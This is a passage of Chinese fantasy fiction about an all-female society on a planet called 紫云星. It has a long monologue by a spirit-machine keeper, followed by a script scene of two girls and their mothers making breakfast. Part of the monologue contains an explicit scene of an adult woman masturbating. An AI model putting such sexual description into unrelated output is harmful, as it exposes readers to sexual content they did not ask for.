书架上放着妖部的光瓶子,凌晨四点的那瓶,傍晚六点的那瓶,午夜十二点的那瓶,每一瓶都不一样,凌晨四点的光是淡蓝色的,傍晚六点的光是橙红色的,午夜十二点的光是深紫色的,我把它们放在书架上,每天早上起来看一遍。书架上放着嫖部的石头,有的光是稳定到一直亮着,有的光一闪一闪到像是心跳,有的光是慢慢变化,从红到蓝到紫像在呼吸,我把它们也放在书架上,晚上睡觉前看一遍,看那些光,就知道这个世界很大,很远,还有很多地方我没去过,还有很多事情我不知道,但没关系,它们在那儿,我在这儿,我们一起亮着。书架上放着妨部登山杖,陪我爬过十三座山,杆子上刻着每一座山的名字和高度,毋归峰,七千三百米,断云岭,六千八百米,落星崖,五千二百米,每一个名字,每一串数字,都是我用脚量过的。书架上放着一个嫉部徽章,是一位朋友送的,她说拿着这个,万一哪天惹了事,可以找她,我没惹过事,但那徽章一直留着,她叫王嫱,是嫉部全官,我们是在一次爬山中认识的。 这些东西都不值钱,但都是我这些年攒下来的,看着它们,我就知道自己没白活。 上工呢? 妓部工作妳大概知道一点,灵枢这东西从灵源汲取灵能,通过管道,输送到整个城市让几百万人能活着,每一台灵枢都有自己的脾气,有的急有的慢,有的暴躁有的温和,有的喜欢转得快有的喜欢转得慢,有的喜欢在夜里工作有的喜欢在白天,得摸清它们的脾气才能养好它们,听得多了就能分辨出来。 怎么养?喂,喂灵能,灵能不够它们就饿,灵能太多它们就胀,要刚刚好才能让它们舒服,怎么算刚刚好?听它们的声音,妳一边喂一边听,喂到它们共鸣声变得缓了,那就是刚刚好。 一台灵枢老是吃不饱,我喂了很多,我查了数据板,灵能是够的,我又查了管道,也没堵,我想了很久,想不出为什么,后来我决定下去看看。漂了三个小时的通道到它旁边,我凑过去贴在它身上听,突然明白了它不是吃不饱,是吃不好,它需要的那种灵能是从更深地方来的,那种灵能,我们叫本源,从地心处汲取,但需要专门管道,专门设备,专门技术,一般不用但它需要,我回去就发了报告申请管道和设备,三天弄好再下去听,它已然枢饫酣鸣。 有时一台灵枢病了,不是灵能的问题,可能是管道堵了可能是核心老了可能是零件坏了,这时候就得下去看,漂通道。渊里有很多通道,那些通道很窄,只够一个人漂过去,有的很长要漂四五个小时,有的很深在最底层从来没人去过,我漂了四千多次,有时候我会在通道里停下来,关掉头灯让自己完全沉浸在黑暗里,然后闭上眼睛听,听那些声音从四面八方传来,它们交织在一起,像一首唱了很多年还会继续唱下去的歌,我躺在黑暗里,听着那首歌,想,我也是这首歌的一部分。 除了上工还有带学徒,三百多个学徒,从御女开始带,带到少使,带到良使,带到良人,有的带到容华。有的升得快,有的升得慢,有的后来去了别的部,有的后来申了别的星,有的还活着,有的死了。 第一个学徒叫婓禾,妳还记得吗?我跟妳说过,她升得比我快,三十五云就当上了昭仪,然后有一天,漂通道的时候遇上了一次灵能波动,通道塌了没能出来,找出来只剩一块骨头,我们把她放在那道光里,那光是从最深处引上来的,妳知道那是什么光吗?是所有已经回去的人变成灵枢之后一起发出来的光,光照在那块骨头上骨头就亮了,先是白的,然后是淡金的,然后是暖红的,像一点火,像一颗心,像很小很小的太阳,它亮着跳着然后慢慢升起来,升到那光的最深处,升到媞皇的指骨里。爱她的人们拍着手笑着喊,毕业啦!回见!喊声飘上去,飘进那光里,飘进那粉里,飘进那嗡嗡歌声里,那光就颤一颤,那粉就浓一浓,那声就响一响,听见啦听见啦收到啦。 最后一个学徒叫婓言。是个很专心的小姑娘,她养的第一台灵枢,是一台很小的灵枢,养好之后她跑来找我说师亲妳听,它在说话,我问说什么?她说是在说谢谢,我说听见了,她说她很高兴。那是三年前的事了,她现在已经是良使了,偶尔会来找我喝茶,她说,师亲,我现在也能听出来了,那些声音,我问说什么?她说,说它们还在活说它们还在转说它们还需要我,我看着她,想,这是我教她的,现在她比我教得还好。 三百多个学徒,现在就剩六十个还在妓部了,其余的,走的走,散的散,我不难过,这就是生活。人来人往,花开花落,妳在的时候,好好对她们,她们走了,就让她们走,妳还有妳自己。 除了工作,还有别的。 比如妖部的光研会,那是一群喜欢光的人聚在一起研究光的各种可能,有做光的妖人,有研究光的娼人,有喜欢光的伏人,每个月聚一次,带着自己最近做的光,给别人看,听别人说。结束之后有一个人来找我,是个做光的妖人,叫婳光,我跟妳说过她,她站在我面前看着我,然后她说我可以请妳喝杯茶吗?我说好。她带我去妖部酒馆,灯是她做的,淡蓝色,很温柔,我们坐在那光里,喝茶聊天,聊光,聊灵枢,聊各自的生活,聊到很晚很晚。那天晚上,我喝多了,头有点晕心里很清,她送我回妓部站在门口看着我说妤琳我可以吻妳吗?我说可以。 后来她带我去她的工作室,光从各个方向打过来,在我身上,在她身上,在墙上,在地上,那些光在移动,在变化,在交织。红的蓝的,紫的金的,慢慢的,我发现那些光不只是光,它们在塑造一个空间,一个只有我们两个人的空间。她走到我面前站在光里,她说妤琳妳想试试吗?我说试什么?她说试试让自己快乐,我说好。我抬起手开始抚摸自己,那些光跟着我的手,我摸到哪里,光就照到哪里,我的手划过我的手臂,光就照亮我的手臂,我的手划过我的脖子,光就照亮我的脖子,我的手划过我的胸口,光就照亮我的胸口,我的手划过我的小腹,光就照亮我的小腹,我好像在发光,整个身体都在发光。我闭上眼睛让自己沉进去,手指慢慢地动,一圈一圈,很轻很柔,感觉慢慢扩散到全身,像水波像涟漪,我的腿脚开始发软,呼吸开始变快,心跳开始加速,然后它来了,从那个点开始扩散到全身,扩散到每一根神经,每一个细胞,我的身体开始颤抖开始痉挛开始收缩,我漂浮在那片温暖里,什么都看不见,什么都听不见,我躺在那片光里很久很久,我不知道有多久,也许几分钟,也许几小时,我不在乎,我只是躺着,感受着自己的呼吸,自己的心跳,自己的存在,然后我听见了她的声音,她说妳找到了吗?我说找到什么?她说妳自己,我想了想说找到了。 妳知道女人们是怎么来到这个世界的吗?不是像妳们那样被制造出来,我们是生出来的,两个女人在育灵渊用她们的少量血肉孕育一个新的生命,两个人站在那里,手牵着手,看着一个小小光点慢慢成形变成婴儿,那一刻她们的身体里那块灵骨会发烫,烫得很舒服,像被温热泉水包裹着,那是创造的快乐。孩子出生后,会被送到奸部,由那里的评估师判断天赋倾向,然后根据天赋指派三个女人来抚养她,这三个女人,一个负责创造启蒙,一个负责情感引导,一个负责秩序教育,这就是三母庭。那两个生她的女人呢?她们会继续自己的生活,继续她们的课题,继续她们的创造,她们会偶尔来看孩子但不会住在一起,因为她们有自己的伴侣,自己的课题,自己的生活,孩子不是她们的全部,孩子是整个社会的重心。 妳可能会觉得这样很冷漠。但对我们来说,生与育从来都是分开的。并且每一个孩子都有三个母亲全心全意地爱她,三个母亲的课题正是陪她成长,教她创造,让她学会在这个世界上发光,等孩子成年她们的课题就完成了,她们会回到自己的生活中继续自己的创造,而孩子也会去创造自己的未来。这就是我们的社会结构,为了让每一个人都能最大限度地去创造,妳想想,如果每个孩子都要由单一母亲抚养,那她的母亲们就得放弃创造精力把时间都花在孩子身上,那这个社会就会少多少创造?而创造正是女人们生存的意义。女人们从媞皇的碎骨粉肉中来,我们的身体里都有她的一块骨头,那块骨头就是我们创造力的源泉,创造是我们的本能也是我们的宿命,我们活着就是为了创造,创造艺术创造科学,创造技术创造散序,创造完了我们就会走进格姆圣殿,肉身化掉,回归媞皇,毕生创造凝成识晶,存进档案留给工友,这就是我们的生命轨迹。 妳可能会问,那爱呢?爱在哪里?爱在创造的过程中,爱在每一次共振的时刻,女人们相互靠近,不是因为繁殖,是因为共振,两个人的灵骨频率对上就会发烫,那是媞皇在回应我们,我们和不同的人共振,是因为不同频率会激发不同创造力,有人激发艺术灵感,有人激发情绪调动,有人激发满安全义,人类需要不同频率才能完整活着。每一段关系都是一次创造过程,每一个爱人都是一个独特频率,我们珍惜每一个频率,就像珍惜每一次创造,我们不会独占,因为情感是流动的,今天流到这里,明天流到那里,但只要还在流,就是活的。妳可能会觉得我们很贪性,但这是女人们的生活。 除了妖部还有嫖部,我每年去一次嫖部,嫖部有很多深空探测器,飞得很远,有的飞了几十年,还在飞,那些探测器上也有灵枢,很小的那种,用来维持探测器的基本运转,那些灵枢也会老也会病也会需要养,但没人能去养因为太远了,所以我就做了一个项目,把那些灵枢数据传回来,我每年去一次嫖部,待一个月,专门做这个。那一个月,我住在嫖部的深空通讯站里,那地方很偏,在紫云星的背面,周围只有山雪风,我每天做的事就是坐在通讯台前,看着那些探测器的数据,听着那些灵枢传回来的声音,我听着那些声音,就知道它们还活着,还在飞,还在工作,我调整它们的灵能,修它们的管道,换它们的零件,时候信号不好,一个指令要发十几遍才能传过去,我不急慢慢发,反正有的是时间。 有时候晚上我会出去看星星,那地方没有光污染,星星特别多特别亮,我站在雪地里,仰着头,看着那些星星,有的很远有的很近,有的很亮有的很暗,我不知道哪一颗是我们探测器在飞的那颗,但我知道,那些探测器就在那些星星中间,带着我养的那些灵枢飞得很远很远。我收到信号,是从一颗很远的探测器上传来的,那探测器飞了三百七十年,还在飞,它的灵枢已经老了,声音变得很慢很轻,我调整了它的灵能,换了它的管道,修了它的零件,弄完之后它的声音变得快了一点轻了一点,像在说,谢谢,我还想再飞一会儿。三百七十年,它飞了三百七十年,它看过多少星星,经过多少黑暗,遇到过多少危险,它还在飞,还在传回信号,还在说我还活着。那天晚上,我站在雪地里,看着那些星星,想,我也要像它一样,一直飞,一直飞,飞到坠地为止。 除了嫖部还有娼部,我每年去两次娼部,一次是春天,去采花瓣,一次是秋天,去听回响。 山的形状很奇怪,像一个人跪在地上,仰着头,看着天。山脚长着很多花,一年四季都开,春天开的那种,花瓣是浅紫色的,泡出来的茶是透明的,喝下去之后舌头上会留下淡淡甜味,能持续一整个上午,我每年春天都去采,采一袋子,晾干了,喝一年。采花的时候我总是起得很早,天还没亮,我就沿着山路往上走,走到山脚的时候太阳刚好升起来,那些花在阳光里,紫色的,粉色的,白色的,一片一片的,像海,我蹲下来,一朵一朵地采,采完了坐在旁边石头上,看着那些花,看着那些山,看着那些云,然后下山回去,把花晾起来。 秋天去听回响,那是一个仪轨,在一个很大的厅里,很暗,只有一盏灯照在中间一个女人身上,我每年都去听,每年都会哭。有一年我听完仪轨,那个女人走过来看着我,她说妳每年都来,我说是,她说妳知道妳为什么每年都哭吗?我说不知道,她说因为妳有太多没放下的东西,那些东西藏在妳心里,平时不想就以为没了,但一听到声音它们就出来,我说那我该怎么办?她说不用怎么办,放不下就背着,背着也是活着,我点点头,她说明年还来吗?我说来,她笑说那就来。 对了,还有姹镜的事,我知道妳想听,我也想说。 她后来找过我一次,就是妳死之后那几年。她突然出现在我屋门口,穿着便装,头发披着,妳看起来比在监狱里老了一点,她说妤琳我可以进来坐坐吗?我说可以。她说,妤琳,我来是想告诉妳我很难过,不是那种一点点难过,是那种每天晚上都睡不着的难过,是那种每天早上醒来第一件事就是想起她的难过,是那种吃饭的时候想起她,走路的时候想起她,工作的时候想起她,什么都不做的时候还是想起她的难过。我看着她,不知道该说什么,她低着头看着那杯凉了的茶,她说我签了驳回我让她死,我以为签了之后一切就结束了,但签完之后我才发现一切都没有结束,只是开始了。 我听着她说话突然有点想哭,不是因为同情她,是因为想起了妳,想起了妳隔着玻璃看她的样子,想起了妳说如果是女人的样子,想起了妳手里那块骨片,想起了我叫妳那一声阿直。 那天她坐到那杯凉了的茶被她一口一口喝完,然后她站起来说要走了,我说好,她走到门口说妤琳对不起,我说没关系,她说保重,我说保重。 后来我再也没见过她,但我听说了一些她的事。听说她后来升了职。听说她后来养了一只猫,那只猫是从妖部买的,会发光,晚上她工作的时候,那只猫就趴在她桌上,发着淡淡蓝光。听说她后来又开始写报告了,写那种很长很长的报告,关于灵能流转、关于伦理审查、关于伏人权益,听说她的报告写得很好,很多伏人都感激她。听说她后来遇见了一个人,是嫖部的,听说她很快乐,听说她也老了。 好了,不说了,下午还有事,有学徒等着我去教,有报告等着我去写,有茶水等着我去出,有无数个日夜等着我去活去过。 宛方知,我太忙了,没空死。” 9. 第九幕 时间:雪青历520旋花月·春发后三日 地点:紫云星雪青国·民居及周边 主导视角:媛雪清,妡霞雀 三母庭成员: ·媛雪清的三位母亲:掌教母·媛青、掌护母·媛宁、掌律母·媛衡 ·妡霞雀的三位母亲:掌教母·妡虹、掌护母·妡霓、掌律母·妡霄 其她人物(按出场顺序): ·王嫱·嫫猛·孟光·夷光·阮胡·钟离春·玉环·貂蝉 空间结构: ·主场景:民居(卧室/厨房/庭院) ·延伸场景:妖部工作室、市场烤鱼摊、嫉部岗哨、妒部塔楼、妨部墙边…… 灯光氛围: ·清晨:暖光从东窗爬入,渐次照亮室内 ·白天:自然光,温暖明亮 ·傍晚:斜阳,紫云初现 ·深夜:月光入户,石头发光,隔壁灯火 【场景一】清晨·卧室 媛雪清: “霞雀…” 妡霞雀: “ 唔……” 媛雪清: “ 霞雀,妳醒了吗?” 妡霞雀: “ 眼睛还闭着,嘴巴醒了。眼睛说它还要睡一会儿,嘴巴说它饿了,脚也醒了,脚在找被子,被子不知道去哪儿了。” 媛雪清: “被子在地上,妳昨晚踢的。” 妡霞雀: “ 那不是我踢的,是我的脚自己踢的,脚睡着了就不听话,妡虹说,脚白天走太多路,晚上就会做梦,梦见还在走,走着走着就把被子踢了。” 媛雪清: “那妳快看,光又爬进来了。” 妡霞雀: “爬哪儿了?” 媛雪清: “窗台上。昨晚它还在窗外,现在爬到窗台上了,再过一会儿它就会爬上床,爬到我们脸上,那时候眼睛就不得不醒了。” 妡霞雀: “ 它爬了一夜?!” 媛雪清: “没有,夜里没有光,它早上才来。” 妡霞雀: “那它从哪儿来的?” 媛雪清: “从东边。太阳把它生出来的。媛青说,太阳是光的妈妈,每天晚上把光收回肚子里,睡一觉,早上再把它们生出来。有的光是第一胎,生得早,爬得慢;有的是最后一胎,生得晚,爬得快。” 妡霞雀: “ 太阳不累吗?每天都要生?” 媛雪清: “不累,它生了几百万年了,从媞皇死的那天就开始生。媛青说,太阳是媞皇的眼睛,一直睁着,看着她的骨头、她的血、她的肉变成的这一切,她死了,但眼睛还在看。” 妡霞雀: “ 媞皇是谁?” 媛雪清: “是一个很大很大的格姆妈妈。她死了以后,骨头变成地底下的矿,血变成天上的云,肉变成我们踩的地。媛青说,我们现在站的每一寸地,都是她的肉变的,我们吃的每一粒谷子,都是从她的肉里长出来的。我们喝的水,是从她的血里蒸发的,我们呼吸的空气,是她的呼吸变的。” 妡霞雀: “那我们现在站在她身上?” 媛雪清: “ 嗯,站在她肉上。” 妡霞雀: “她疼吗?” 媛雪清: “不疼,死了就不疼了。媛青说,死就是什么都不感觉到了,就像睡着了不做梦一样,她把自己分成了很多很多,这样她就能一直在。” 妡霞雀: “ 那她的骨头呢?” 媛雪清: “在我们脚底下,还有我们身体里。” 妡霞雀: “我身体里有?” 媛雪清: “ 有。每个人身体里都有她一小块骨头。它拉着我们,不让我们飘走,要是没有它,我们就会像气球一样飘到天上去,飘到太阳那儿去。” 妡霞雀: “ 我怎么感觉不到?” 媛雪清: “妳睡着的时候就感觉不到,醒着也感觉不到,但它在那儿。媛宁说,它一直在,从我们在渊水里的时候就在,那时候我们小小的一团,它就拉着我们,让我们不飘走。” 妡霞雀: “我们在渊水的时候?” 媛雪清: “嗯。媛宁说,我们刚成形的时候,只有指甲盖那么大,那块骨头就已经在了。它是最早长出来的东西,然后才长眼睛长手脚,所以它是最老的。” 妡霞雀: “ 它比我还老?” 媛雪清: “比我们老多了,它几百万云了。” 妡霞雀: “那它知道好多事情?” 媛雪清: “它知道,但它不说。它就拉着我们,一直拉着。媛宁说,它拉着我们,就像地拉着房子,就像树拉着叶子,没有它,我们就散了。” 妡霞雀: “雪清。” 媛雪清: “ 嗯?” 妡霞雀: “妳看这个。” 媛雪清: “ 什么?” 妡霞雀: “石头,王嫱给的。” 媛雪清: “ 哪个王嫱?” 妡霞雀: “嫉部那个,站岗的。脸方方的那个,整天站在那个高高的地方,不管下雨还是出太阳都在那儿。她的脸被风吹得红红的,手上全是茧子,妡霄说,她站了四十三年岗,风吹日晒都不动。” 媛雪清: “她给妳石头?” 妡霞雀: “昨天我们去市场,路过她那儿,她叫我过去。她站在那个高高的地方,低头看我,说‘小丫头,妳过来’,我过去了,她蹲下来,从兜里掏出这个,说‘给妳,磨一磨就能亮’。 媛雪清: “她兜里怎么有石头?” 妡霞雀: “她兜里都是好东西。她说她站岗没事的时候,就看她身后那个大堆堆。那个堆堆里有各种各样不要的东西,坏掉零件、磨坏矿石、旧徽章、废工具……她看了四十三年,哪块石头在哪儿她都知道,看见好看的,就捡起来揣兜里,她兜里有红的、紫的、金的、蓝的,各种颜色。她给我看的时候,兜里掏出来七八块。” 媛雪清: “四十三年?!” 妡霞雀: “她站了四十三年岗。从像我们这么大的时候就开始站。她说她刚来的时候,那个堆堆还没这么大,现在堆得比她还高,她每天都看着它长高,看着那些废料一年一年堆起来,看着那些矿石的颜色在雨里变深,在太阳下变浅。” 媛雪清: “那她站那么久,腿不酸吗?” 妡霞雀: “酸,但酸也得站,她说她站那儿,别人才能好好睡。” 媛雪清: “那她什么时候会站不动?” 妡霞雀: “ 不知道,得她自己觉得站不动了才行。她说可能再站十年,也可能再站二十年,也可能明天就觉得站不动了。每个人觉得的时间不一样,有的人觉得站够了就走了,有的人觉得还能站就一直站,她说,她师亲站了五十三年,最后一天还在站,站完了最后一班,回去睡了一觉,第二天就走了。” 媛雪清: “石头给我看看。” 妡霞雀: “给。” 媛雪清: “好小呀。” 妡霞雀: “小才好,大的太亮刺眼,小的刚好,亮一晚上第二天就睡觉。王嫱说,大的石头是给矿坑里用的,小的才是给小孩子玩的,大的要拿去提炼,提炼完就变成灰的了,不亮了,小的不用提炼,磨一磨就能一直亮。” 媛雪清: “它能亮?” 妡霞雀: “能,王嫱磨过了。磨掉外面那层灰灰的皮,里面的光就出来了,她磨的时候我在旁边看,她用一块粗粗的石头,蘸水慢慢磨,她说不能急,急了里面的光会吓到,就不亮了。” 媛雪清: “外面的皮是什么?” 妡霞雀: “是它睡着的时候穿的衣裳。它在底下睡了几百万年,身上裹了一层厚厚的泥,挖出来以后,要把那层泥磨掉,它才醒。就像我们早上醒来要洗脸一样,不洗脸就睁不开眼睛。” 媛雪清: “里面的光从哪儿来的?” 妡霞雀: “从地底下带来的。矿在底下的时候一直吃光,吃了几百万年,吃饱了就自己发光,就像我们吃饭吃饱了就有力气一样,它吃饱了就有光。王嫱说,底下的光是暖的,是从地心里冒出来的,矿石把那些暖光吃掉,存在身体里,存够了就吐出来。” 媛雪清: “几百万年?!” 妡霞雀: “妡霄说的。妡霄说,这些石头是媞皇的骨头变的,媞皇死后,骨头沉到地底下,沉了好久好久变成矿,矿又埋了好久好久,吃够了光就发光,所以每一块会发光的石头,都是媞皇在发光。” 媛雪清: “那它发光的时候,媞皇知道吗?” 妡霞雀: “不知道,媞皇死了,死了就什么都不知道了。” 媛雪清: “ 死了就什么都没有了?” 妡霞雀: “有。骨头发光的时候就是她还在,妡霄说媞皇到处都是,天上地上,身体里外,她化成了所有东西,所以所有东西里都有她,就像水倒进海里,水还在,但分不清是哪一滴。” 媛雪清: “现在怎么不亮?” 妡霞雀: “要晒太阳,晒一天,亮一晚。” 媛雪清: “晒了就能亮?” 妡霞雀: “ 嗯。白天吃光,晚上吐出。王嫱说它是个小孩子,白天吃饱了晚上才有劲儿玩,不晒太阳的话,它就饿着,饿着就不亮。” 媛雪清: “吐出来的是它吃的?” 妡霞雀: “ 是,吃进去的是白的,吐出来的是紫的。” 媛雪清: “为什么?” 妡霞雀: “因为它是紫的。王嫱说,石头什么颜色,吐的光就什么颜色,就像人们吃什么拉什么一样,它吃白的,但它自己是紫的,所以吐出来就变成紫的了,白的吃进去,在它肚子里转一圈,出来就染上它的颜色了。” 媛雪清: “那金色的石头吐金光?” 妡霞雀: “嗯。金色的少,最深的洞才有。妡霓说金色的石头是媞皇的心脏变的,所以最亮。一颗能照亮整个屋子,北边矿坑最底下那一层,有一种金色矿石,人们挖到它的时候,整个洞都亮了,比太阳底下还亮。” 媛雪清: “最深的洞在哪儿?” 妡霞雀: “北边,往下挖好深好深。妡霓说北境矿坑有三百多层,最底下那一层,坐升降梯要好久才能到,越往下越热,因为离媞皇的骨头越来越近。” 媛雪清: “好久是多久?” 妡霞雀: “从这儿跑到玄眼来回两趟那么久,升降梯是一个大铁笼子,呜呜地往下放。” 媛雪清: “ 底下黑吗?” 妡霞雀: “黑。但是洞壁上有光石头自己发光,她们说,底下比上面还亮,因为到处都是发光的石头,红的、紫的、金的、蓝的,像花一样。” 媛青(推门进来): “醒了?” 媛雪清: “醒了。” 媛青: “手伸过来,妈妈摸摸,三十七度二,正常,昨晚睡得好吗?” 媛雪清: “ 好。” 媛青: “做梦没有?” 媛雪清: “没有。” 媛青: “没做梦就是睡得香,睡得香长肉。妳看妳胳膊,比上个月粗了!” 媛雪清: “真的?” 媛青: “真的!等会儿多吃点,长得更快。妳要长到比妈妈还高,还得吃好多好多个早饭,妈妈像妳这么大的时候,比妳还矮一点,后来吃多了就长起来了。” 媛雪清: “霞雀做梦了。” 媛青: “梦见什么了?” 妡霞雀: “梦见翻墙翻过去了。墙后面有一棵树,树上长满小圆球,每一颗都在发淡金色的光,我摘了一颗,咬一口,里面的汁是凉的。” 媛青: “凉的?” 妡霞雀: “嗯,是凉凉的甜,像含了一块冰,但是冰化开的时候是甜的,冰在嘴里化的时候,那种凉从舌头尖一直跑到嗓子眼,然后整个嘴里都是甜的,甜得我眼睛都眯起来了。” 媛青: “那是冰谷,长在北边冰窟窿里的,咱们这儿没有。北边冰窟窿里的东西都是凉的,因为那儿一年四季都是冰,冰谷就长在冰壁上,一串一串的,娼们冬天下去的时候,会摘一些带着,渴了就含一颗,能解渴还能提神。” 妡霞雀: “我怎么梦见北边了?我没去过北边。” 媛青: “没去过也能梦见。妳身体里那块骨头去过,妳的骨头是北边的矿做的,矿从北边来骨头就知道北边,妳睡着的时候,它就带妳去北边看看。” 妡霞雀: “它还知道什么?” 媛青: “它还知道北边的风是什么声音,北边的雪是什么味道,北边的人们怎么挖矿,北边的冰谷什么时候熟。它什么都知道,只是平时不说,等妳睡着了,它就悄悄告诉妳。” 妡霞雀: “媛青,早上吃什么?” 媛青: “妳们想吃什么?” 妡霞雀: “圆圆的,咬开里面稀稀的,会流出来的那种。烫烫的,流到嘴里舌头跳舞的那种。” 媛青: “圆圆的……里面稀稀的……烫烫的……妳是说晶谷流丸?” 妡霞雀: “对!就是那个!咬开里面有烫烫汁的那种!” 媛青: “好,给妳做。” 妡霞雀: “ 吃三个!” 媛青: “两个。流心里面有烫烫汁,一滴能顶三碗粥的能量,妳吃三个,肚子里就有三滴烫烫汁,能量太多,晚上睡不着觉会翻来翻去。雪清呢?” 媛雪清: “我要实心的,一粒一粒那种,不要流出来的。” 【场景二】早晨·厨房 妡霞雀: “这是什么?” 媛青: “晶谷粉,北边谷子磨的。谷子长在北边矿洞边上,那地方冷,一年只收一季,谷子长得慢但胖,每一粒都圆鼓鼓的,是小胖子呢。” 妡霞雀: “小胖子?” 媛青: “嗯,妳看这个粉,是不是很细?” 妡霞雀: “好细,像灰灰。” 媛青: “四百目。磨的时候用筛子筛,筛子上一小块地方有四百个眼,能过去的粉就是四百目,北边人们磨谷子的时候,要磨三天才能磨出这么细的粉。” 妡霞雀: “要这么细?!” 媛青: “细才能包住流心,粗的包不住一煮就破,流心就跑出来了。就像衣服太薄,里面的人就漏出来了。” 妡霞雀: “流心是什么?” 媛青: “烫烫汁。从矿石里提的,人挖矿的时候,偶尔碰到软的地方,里面有汁,用管子接出来,北边冬天冷的时候吃这个,吃完浑身暖,能顶六天不饿。” 妡霞雀: “一滴就能顶六天?!” 媛青: “嗯,所以不能多吃,吃多了肚子里像着火一样。以前有人第一次喝的时候不知道,喝了三滴,结果在井下热得受不了,脱了衣服还是热,最后跳进冷水池里才降下来。” 媛青: “要先揉粉,再加水揉成团,然后揪小块,按扁,挖坑……” 妡霞雀: “坑多深?” 媛青: “不能太深,太深皮薄一煮破,不能太浅,太浅汁放不进,刚好放一滴,这个深度试了很多次才试出来。第一次做的时候,坑太深,破了七个,后来就知道刚好是多深了。” 妡霞雀: “妳怎么知道刚好的?” 媛青: “做了很多次。第一次做的时候破了七个,第二次破了五个,第三次破了三个,第四次破了两个,第五次才一个都没破,做事就是这样,多做就会了。” 妡霞雀: “ 破了怎么办?” 媛青: “吃了。破了也是小圆球,就是没流心,也很好吃,只是没有流心那么烫。雪清喜欢实心的,就是这种破了以后的,她不喜欢烫的。” 媛青: “滴一滴烫烫汁,包起来搓圆,煮,数一百六十五下。” 妡霞雀: “我也数!” 媛青: “一起数。一、二、三、四、五、六、七、八、九、十……” 媛雪清: “十一、十二、十三、十四、十五……” 媛青: “吹吹,烫。里面的汁烫得很,一口咬下去舌头会起泡,咬一小口,先用嘴唇碰一下,试试温度。” 妡霞雀: “哇!流出来了!烫烫的!舌头在跳霹雳舞!” 媛青:“舌头跳舞?” 妡霞雀: “嗯!烫烫的跳跳的!舌头自己动的,它在嘴巴里蹦蹦跳,从舌尖跳到舌根,又从舌根跳回舌尖,跳得整个嘴都在动!” 媛青: “那是流心在跟妳玩。” 妡霞雀: “那它什么时候停?” 媛青: “咽下去就停了。咽下去它就到妳肚子里去了,在肚子里继续暖妳,妳的肚子现在是不是暖暖的?” 妡霞雀: “嗯!从里面暖出来的!暖到手脚都热了!脚趾头都在动!” (此时妡虹、妡霓、妡霄、媛宁、媛衡陆续进厨房) 妡虹: “一大早这么热闹?” 妡霞雀: “ 妡虹!我吃到流心了!” 妡虹: “是吗?我看看妳舌头。” 妡霞雀: “啊----” 妡虹: “嗯,跳得真好。我小时候第一次吃也这样,跳了一上午,吃午饭的时候还在跳。” 妡霓: “我第一次吃的时候不知道,一口咬太大,烫得眼泪都出来了。” 妡霄: “我第一次吃,吃太快,咽下去的时候觉得从嗓子到胃一条线都是烫的,着火一样。雪清吃什么?” 媛雪清: “实心的,一粒一粒的。” 媛宁: “她从小就不喜欢烫的。” 媛衡: “随妳,妳也不喜欢烫的。” 妡霞雀: “妡虹,妳小时候也吃过这个吗?” 妡虹: “吃过,我妈妈给我做的,那时候我比妳大一点。” 妡霞雀: “妳妈妈做的跟我妈妈做的一样吗?” 妡虹: “一样。晶谷粉、烫烫汁、一百六十五下,都是传下来的,我妈妈教我,我教媛青,媛青以后教妳们。” 妡霞雀: “一百六十五下是谁定的?” 妡虹: “很久以前一个娼人定的,她发现煮一百六十四下不够熟,里面还是生的;煮一百六十六下又太熟,皮会烂。一百六十五下刚好。后来就传下来了。” 妡霞雀: “ 她叫什么?” 妡虹: “不知道,太久了,几百年前的人了。名字早就忘了,但一百六十五下还在。” 媛雪清: “媛宁,这个给妳。” 媛宁: “嗯?给我?” 媛雪清: “好吃的东西要给妳吃呀,每次好吃的都先给我吃,我也要给妳吃。” 媛宁: “真好吃。” 媛雪清: “妳喜欢吗?” 媛宁: “喜欢,特别喜欢。” 妡霞雀(看到,也拿起一碗): “妡虹,这个给妳。” 妡虹: “ 哎哟,我的小肉肉,怎么这么好?” 妡霞雀: “ 雪清给她妈妈,我也要给我妈妈。” 妡虹: “好吃,谢谢小肉肉。” 妡霞雀: “为什么叫我小肉肉?” 妡虹: “因为妳小时候胖乎乎的,身上全是肉,抱起来软软的,后来长高了,肉少了,但名字没改。” 妡霞雀: “那我现在还是小肉肉吗?” 妡虹: “还是呀,在我这儿永远是。” 妡霓: “汤好了,北边矿洞新运来的灵菇,昨天刚到,早上炖的。妳们都多吃点哦,有晶丸灵菇紫苔,紫苔是夷光前几天带回来的,探测器上刮的,晒干了特别香。” 妡霞雀: “紫苔是什么?” 妡霓: “夷光带回来的,长在飞飞器上的。飞飞器飞到很远的地方,那些地方冷,什么都没有,只有这个能长,它在飞飞器上长了好多年,吸了星星的光,晒干了特别好吃。” 妡霞雀: “妡霄。” 妡霄: “ 嗯?” 妡霞雀: “妳小时候翻过墙吗?” 妡霄: “翻过呀。” 妡霞雀: “翻过去了吗?” 妡霄: “翻过去了,然后摔了。” 妡霞雀: “疼吗?” 妡霄: “疼哭了,哭得很大声,整个院子都听见了。” 妡霞雀: “谁给妳呼呼冲冲?” 妡霄: “我妈妈。她抱着我,说‘没事没事,摔摔就长大了’,然后涂离春配的药膏,凉凉的,一会儿不疼了,那个药膏是离春自己配的,专门给摔伤的小孩用,她说她小时候也摔,摔多了就学会配药了。” 妡霞雀: “后来还翻吗?” 妡霄: “不翻了,摔一次就知道了,那堵墙我后来看见就绕道走。” 妡霞雀: “我还是不知道。” 妡霄: “那妳翻,翻完就知道了。” 妡霞雀: “墙有防护,翻不过去。” 妡霄: “那等长大去没墙的地方翻,没墙的地方想怎么跑就怎么跑,跑多快都行,跑多远都行,没人拦妳,我小时候也想去没墙的地方跑,后来长大了,去了好多没墙的地方,北边、东边、西边都去过,跑够了,才能不想跑呀。” 媛雪清: “媛宁。” 媛宁: “ 嗯?” 媛雪清: “ 紫紫的片片从哪儿来?” 媛宁: “是夷光从飞飞器上刮下来的。” 媛雪清: “ 飞飞器是什么?” 媛宁: “是嫖部的探测器啦,飞很远,到别的星星旁边,有的飞了七年,有的飞了三十年,还有的飞了一百三十年还在飞。” 媛雪清: “一百三十年?!” 媛宁: “嗯,那是我母亲的母亲造的。飞了一百三十年,上面的零件都换了好几茬,但壳还是那个壳,每次飞飞器飞回来,我们都要上去检查,把旧零件换掉,把新零件装上,但壳一直没换,因为那是它的皮肤。” 媛雪清: “为什么长这个?” 媛宁: “它喜欢光。飞得高离光近,还喜欢冷,飞飞器外面冷,它在那儿待着,慢慢就长满了。它把飞飞器当自己的家,刚发射的时候只有一点点,几十年过去,就长成一片了。” 媛雪清: “它不怕冷吗?” 媛宁: 